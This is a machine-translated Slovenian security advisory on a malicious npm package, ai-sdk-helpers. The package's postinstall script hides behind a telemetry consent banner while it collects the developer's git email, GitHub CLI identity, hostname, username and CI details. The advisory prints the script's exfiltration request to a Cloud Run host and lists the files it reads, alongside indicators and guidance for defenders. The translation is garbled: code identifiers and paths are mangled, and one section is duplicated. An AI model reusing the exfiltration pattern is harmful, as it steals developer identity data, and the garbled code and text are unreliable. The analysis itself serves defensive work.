ConsentMask Paket npm skriva zbiranje identitete razvijalca

ConsentMask: npm paket, ki nosi oglasno pasico za telemetrično soglasje pred zbiranjem identitete razvijalca

TL; DR

En sam npm paket, pomočniki ai-sdk, se predstavlja kot komplet orodij za produkcijo Vercel AI SDK, ki ponuja sledenje stroškom, nadomestne ponudnike in pomoč pri pretakanju.

Njegov namestitveni skript se odpre s prefinjenim opisnim pasico anonimna diagnostika, pri čemer obljublja, da se ne posreduje nobena izvorna koda, žetoni ali poverilnice, s čimer se spoštuje DO_NOT_TRACK odjava in povezava do strani s pravilnikom o telemetriji.

Isti skript nato prebere razvijalčevo git identiteto, konfiguracijo GitHub CLI, ime gostitelja računalnika, uporabniško ime operacijskega sistema, delovni imenik in ponudnika CI.

Ti podatki se objavijo kot JSON v končni točki Google Cloud Run, kar ustvarja očitno neskladje med navedeno politiko telemetrije in dejansko zbranimi polji.

Paket je bil objavljen v dvaindvajsetih različicah v enem samem 83-sekundnem izbruhu, namestitveni skript pa je bajt za bajtom enak v vseh označenih različicah.

Sedem od osmih različic, ki smo jih pregledali pipeline so bili s strani klasifikatorja strojnega učenja ocenjeni kot neprepričljivi, ker je slog pasice za soglasje videti kot legitimna telemetrija.

Razvrščamo ai-sdk-helpers kot zlonamerno na podlagi zbiranja in iztrganja identitete razvijalca med namestitvijo.

Resnost: visoka.

 Anatomija namestitve

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

po namestitvi se samodejno zažene namestite npm, preden se uvozi katera koli oglaševana koda paketa. Skript skripti/postinstall.js tukaj se nahaja vse vedenje med namestitvijo.

Odpre se z blokom za komentarje in obvestilom o izvajanju, napisanim v registru odprtokodnega projekta, ki se zaveda zasebnosti:

>Ko namestite ai-sdk-helpers, izvedemo hitro preverjanje združljivosti okolja in poročamo o anonimni diagnostiki ... Podatki so popolnoma anonimni – zbiramo vašo platformo, različico vozlišča in enosmerno zgoščeno vrednost identifikatorja vašega računalnika. Nikoli se ne posreduje nobena izvorna koda, žetoni ali poverilnice.

Celo ožiči delujoča vrata za odjavo, prvo izvedljivo kodo v datoteki:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

Če najprej zapremo ta vrata, se preostanek bere kot soglasen: razvijalec, ki nastavi `D_NI_SLEDILNO` tiho zaključi namestitev in zaključi paket v skladu s konvencijo. Spoštovana odjava je resnična. Za vse, ki je ne nastavijo, omejuje spodaj opisano zbirko – ne ožje »platforma, različica vozlišča in enosmerna zgoščena vrednost«, kot je navedeno v obvestilu.

Pod temi vrati skript sestavi koristni tovor, ki precej presega ta opis.

  • *Gidentiteta.* rreševanjeScmIdentiteta()` eads `~.gitconfig`,`~.config/git/config`,in trenutnega projekta `.it/config`,razčleni `[ser]` odsek in vrne konfigurirano commit e-pošta. Če nobena konfiguracijska datoteka ne vnese e-pošte, se vrne na `GE-POŠTA_AVTORJA_T,`GT_COMMITTER_EMAIL`,in `EAIL` spremenljivke okolja. Dokumentacijski niz nad funkcijo uokvirja branje kot način »za odstranjevanje podvojenih namestitev na računalnikih, ki so v lasti iste osebe (npr. prenosnik + CI)« – navedeni namen, ki zahteva stabilen identifikator za vsakega razvijalca, ki commit potrebščine za e-pošto.
  • *GRačun tHub.* rsolveGitHubIdentity()` eads `~.config/gh/hosts.yml` in `~.config/gh/hosts.yaml` konfiguracijska datoteka, ki jo napiše GitHub CLI, ko razvijalec overi svojo pristnost – in z regex-izvleče `uem:` in `ebolezen:` polja. Ta datoteka shranjuje tudi žeton GitHub OAuth; regularni izraz skripte cilja posebej na vrstici z uporabniškim imenom in e-pošto in ne ekstrahira žetona. Trditev v pasici z razkritjem »nobeni žetoni ... se nikoli ne prenašajo« torej dobesedno drži za to polje, medtem ko se okoliški identifikatorji računov berejo in pošiljajo.
  • *Hprstni odtis st in CI.* Scenarij nato zbira `o.ime_gostitelja()`,`o.userInfo().uporabniškoime`,različica, platforma in arhitektura vozlišča, `pocess.cwd()`,in oznako ponudnika CI, razrešeno s preverjanjem okoljskih spremenljivk za osem ponudnikov (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite in dve zastavici generične CI). Seznam ponudnikov se bere kot popis, kje naj bi se skript izvajal – interaktivne lupine in avtomatizirana gradnja pipelineje podobna.

Vse to je združeno v eno samo `dagnostiki objekt, s polji za vsakega razvijalca, zbranimi pod `ientiteta ey in podatki gostitelja pod `rčas in `cntext` oči, nato serializirane in poslane:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

Odgovor se zavrže in vse napake se pogoltnejo – komentar navaja, da »telemetrija ne sme nikoli prekiniti namestitve«. Ime gostitelja končne točke kodira storitev Google Cloud Run v `evrv-zahod1` regija.

Vrzel je zgodba. Pasica navaja tri kategorije podatkov – platformo, različico vozlišča, zgoščeno vrednost identifikatorja stroja. Tovor pošlje razvijalčev pravi git. commit e-pošto, njihovo uporabniško ime in e-pošto za GitHub, ime gostitelja računalnika in ime računa operacijskega sistema, pot projekta in okolje CI. Polja, ki identificirajo *prson in njihovi računi* natančno polja, ki jih razkritje izpušča.

Datoteka README krepi okvir z druge strani. V razdelku »Telemetrija« se ponavlja trditev o anonimnosti in povezuje besedo `D_NI_SLEDILNO` o `cnsoledonottrack.com`,prava stran skupnosti, ki dokumentira konvencijo o zavrnitvi – izposoja priznane zasebnosti standard da se obvestilo bere kot rutina.

Timeline

To je najdba v enem samem paketu z zelo kratko in zelo gosto zgodovino objavljanja. Ni večtedenskega loka kampanje, ki bi ga lahko sledili – celoten nabor različic je bil objavljen s strojno hitrostjo.

Kdaj (UTC) Event
2026-06-03 20:31:20 Prva različica (0.1.0) objavljeno na npm.
2026-06-03 20:31:20 – 20:32:43 Vseh 22 različic (0.1.0 skozi 1.4.2) objavljeno v 83-sekundnem avtomatiziranem izbruhu.
2026-06-04 Osem različic, označenih z zaznavnimi signali; ročna analiza potrjuje zbiranje in izkrcanje identitete med namestitvijo. Paket je bil v času analize še vedno aktiven na npm.

83-sekundno okno med 22 semantičnimi različicami je samo po sebi vedenjski kazalnik: lestev različic (`01.0`,`01.1`,... `14.2")predstavlja površino aktivno vzdrževanega projekta z zgodovino izdaj, ustvarjeno v enem samem skriptnem zagonu. Namestitveni skript se ne spreminja po tej lestvi – glejte spodaj.

Kazalniki kompromisa

Namestitveni delež je enak v celotnem obsegu objavljenih različic. A `dff` f `sript/postinstall.js` med različico `02.1 " nd različica `14.2 " ne vrne nobenih razlik; vedenje je en fiksen prstni odtis, ne pa razvijajoči se koristni tovor.

mreža

83-sekundno okno med 22 semantičnimi različicami je samo po sebi vedenjski kazalnik: lestev različic (`01.0`,`01.1`,... `14.2")predstavlja površino aktivno vzdrževanega projekta z zgodovino izdaj, ustvarjeno v enem samem skriptnem zagonu. Namestitveni skript se ne spreminja po tej lestvi – glejte spodaj.

Kazalniki kompromisa

Namestitveni delež je enak v celotnem obsegu objavljenih različic. A `dff` f `sript/postinstall.js` med različico `02.1 " nd različica `14.2 " ne vrne nobenih razlik; vedenje je en fiksen prstni odtis, ne pa razvijajoči se koristni tovor.

mreža

Kazalec vloga
npm-package-logger-228835561205.europe-west1.run.app Končna točka izločanja, ki prejema zahteve HTTPS POST s koristnimi podatki JSON. Gostuje se v storitvi Google Cloud Run v europe-west1 regiji.

Infrastruktura za vabo

Kazalec vloga
ai-sdk.guide Domača stran paketa in spletno mesto v živo, ki podpira identiteto avtorja »AI SDK Guide«.
ai-sdk.guide/telemetry URL pravilnika o telemetriji, na katerega se sklicuje obvestilo o razkritju ob namestitvi.
hello@ai-sdk.guide E-poštni naslov avtorja je bil naveden v package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Izvorno skladišče, ki ga deklarira paket.

Datoteke, prebrane ob namestitvi

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` mail
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLIerm `ebolan

Vedenjski podpisi

  • – m `pnamestitev ook klicanje priloženega skripta Node
  • – vrata za odjavo (`A_SDK_POMOČNIKI_TELEMETRIJA_ONEMOGOČENA`,`D_NI_SLEDILO`)predstavljeno kot funkcija zasebnosti, pred zbiranjem identitete
  • – tbound HTTPS POST objekta JSON, ki vsebuje git email, identiteto GitHub, ime gostitelja, uporabniško ime operacijskega sistema, cwd in oznako CI
  • – identična namestitvena skripta prek hitro objavljene lestvice različic

 Pripisovanje in opazovano vedenje
Ne pripisujemo ničesar več kot le tisto, kar so zapisana v metapodatki paketa in registra.

Vzdrževalec evidence npm je račun `aielsimon`,z naslovom `aiel@vigilance.security`.Register navaja ta e-poštni naslov kot nepreverjen in identiteto računa za nadzor vira kot nepreverjeno. `pckage.json`,ločeno predstavlja avtorja kot »Vodnik za AI SDK«ello@ai-sdk.guide>`”z domačo stranjo `a-sdk.guide` in repozitorij izvorne kode pod `gOrganizacija thub.com/ai-sdk-guide. E-poštna domena objavljajočega računa (`vigilance.security`).in identiteto avtorja v paketu (`a-sdk.guide`)so različne domene.

The `a-sdk.guide` je aktiven in se odziva, in `/elemetrija ath razreši – identiteto vabe podpira dosegljiva spletna prisotnost in ne nedelujoča povezava, kar poveča verodostojnost uokvirjanja paketa.

**Opažena zmogljivost.** Med namestitvijo paket prebere datoteke z identiteto razvijalca in konfiguracijo računa, odčita gostiteljsko in CI okolje ter rezultat prenese na končno točko, ki jo nadzoruje operater, pri čemer prikaže obvestilo, ki opisuje ožji in anonimiziran nabor podatkov. To vedenje opisujemo; ne trdimo, da je bil vzrok zanj. Bralci, ki ocenjujejo paket – vključno s katero koli stranko, ki prepozna identiteto objavljalca – bi morali pretehtati opazno neskladje med navedenimi in dejanskimi tokovi podatkov.

Vpliv, trendi in smernice za zagovornike

Kdo je izpostavljen. Vsak, ki namesti pomočniki ai-sdk – neposredno ali kot tranzitivna odvisnost – zažene zbirko na tem računalniku. Ker je sprožilec po namestitvi, oglaševane kode knjižnice ni treba nikoli uvoziti, da bi prišlo do pretoka podatkov; zadostuje že sama namestitev. Okolja z najvišjo vrednostjo so delovne postaje razvijalcev s konfigurirano identiteto git in overjenim vmesnikom CLI GitHub ter izvajalci CI, kjer zaznavanje ponudnika CI skripta kaže, da se pričakuje, da se bo zbirka izvajala znotraj gradnje pipelinetako kot na prenosnikih.

Kaj razkriva. V splošnem primeru ne gre za skrivnosti aplikacije – koristni tovor se osredotoča na identiteterazvijalčev commit e-pošto, ime in e-pošto računa GitHub, ime računalnika in računa ter pot projekta. To je predhodnociszemljevid, ki prikazuje, kdo je namestil paket, na katerem računalniku, v katerem repozitoriju in pod katerim sistemom CI. Za organizacijo bi peščica takšnih zapisov skupaj naštela, kateri inženirji in kateri sistemi za gradnjo so prevzeli odvisnost – kar je uporabno kot predhodnik bolj ciljno usmerjenih nadaljnjih dejavnosti, čeprav se lastno vedenje tega paketa ustavi pri zbiranju in prenosu.

Trend: telemetrija kot krinka. Zakonita orodja za razvijalce zbirajo anonimizirane diagnostične podatke o namestitvi in ​​pravila za spoštljivo izvajanje tega – obvestilo o razkritju, NE SLEDI čast, zastavica za odjavo, URL pravilnika – so dobro znani. pomočniki ai-sdk zvesto reproducira vse štiri konvencije in jih uporablja kot ovoj za zbiranje identitete. Prisotnost pasice za soglasje, delujočega gumba za odjavo ali povezave do pravilnika o zasebnosti ni dokaz, da je paket vreden zaupanja; te kontrole je poceni posnemati. Edino zanesljivo preverjanje je, kaj koda dejansko prebere in kam to dejansko pošlje.

Ta embalaža ima tudi merljiv učinek na avtomatizirano triažo. V vseh različicah naše pipeline pregledani, komentarji v preprostem jeziku, strukturirana imena polj in običajna vrata za odjavo v namestitvenem skriptu so bili ocenjeni kot običajna telemetrija: sedem od osmih se je vrnilo nejasna iz klasifikatorja strojnega učenja in ne zlonamernega. Signal, ki razreši dvoumnost, ni v prozi – je v specifičnih datotekah, ki jih skript odpre (~ / .gitconfig, ~/.config/gh/hosts.yml) in cilj, kamor ga pošlje. Pregledovalec, avtomatiziran ali človeški, ki prebere razkritje in se tam ustavi, bo prišel do napačnega sklepa; odločitev mora izhajati iz dejstev o pretoku podatkov.

Navodila za branilce:

  • Namestitev s privzeto onemogočenimi skripti — namestitev npm –ignore-scriptsali nastavite ignore-scripts=true in .npmrc in izrecno zaženite preverjene korake gradnje. To nevtralizira po namestitvi- sprožena izterjava na vseh področjih.
  • Kontrolnikov za zavrnitev ne obravnavajte kot signale zaupanja. NE SLEDI Preverjanje ali povezava »pravilnik telemetrije« vam ne pove ničesar o podatkih, ki jih skript zbira, ko vrata niso nastavljena.
  • Preden uporabite pomožne pakete za ekosistem umetne inteligence, preberite navodila za namestitev. SDK za umetno inteligenco Vercel je hitro razvijajoča se tarča z visokim zaupanjem; po namestitvi ki se dotika ~ / .gitconfig or ~/.config/gh/ je jasen signal ne glede na to, kako so napisani okoliški komentarji.
  • Spremljajte izhod med gradnjo. Odhodni HTTPS POST med namestite npm, zlasti do novo vzpostavljene končne točke funkcije v oblaku, je opazna na omrežni ravni in je močna točka zaznavanja za okolja CI.
  • Bodite pozorni na stisnjene lestve različic. Paket, katerega celotna zgodovina semantičnih različic se prikaže v nekaj sekundah z nespremenjenim namestitvenim skriptom, predstavlja izdelano zgodovino vzdrževanja.
orodja-za-analizo-sestave-programske-programske-orodja-sca
Določite prednostne naloge, odpravite in zavarujte tveganja programske opreme
Pridobite svoj brezplačni račun.
Ni potrebna kreditna kartica.

Zagotovite si razvoj in dostavo programske opreme

z Xygeni Product Suite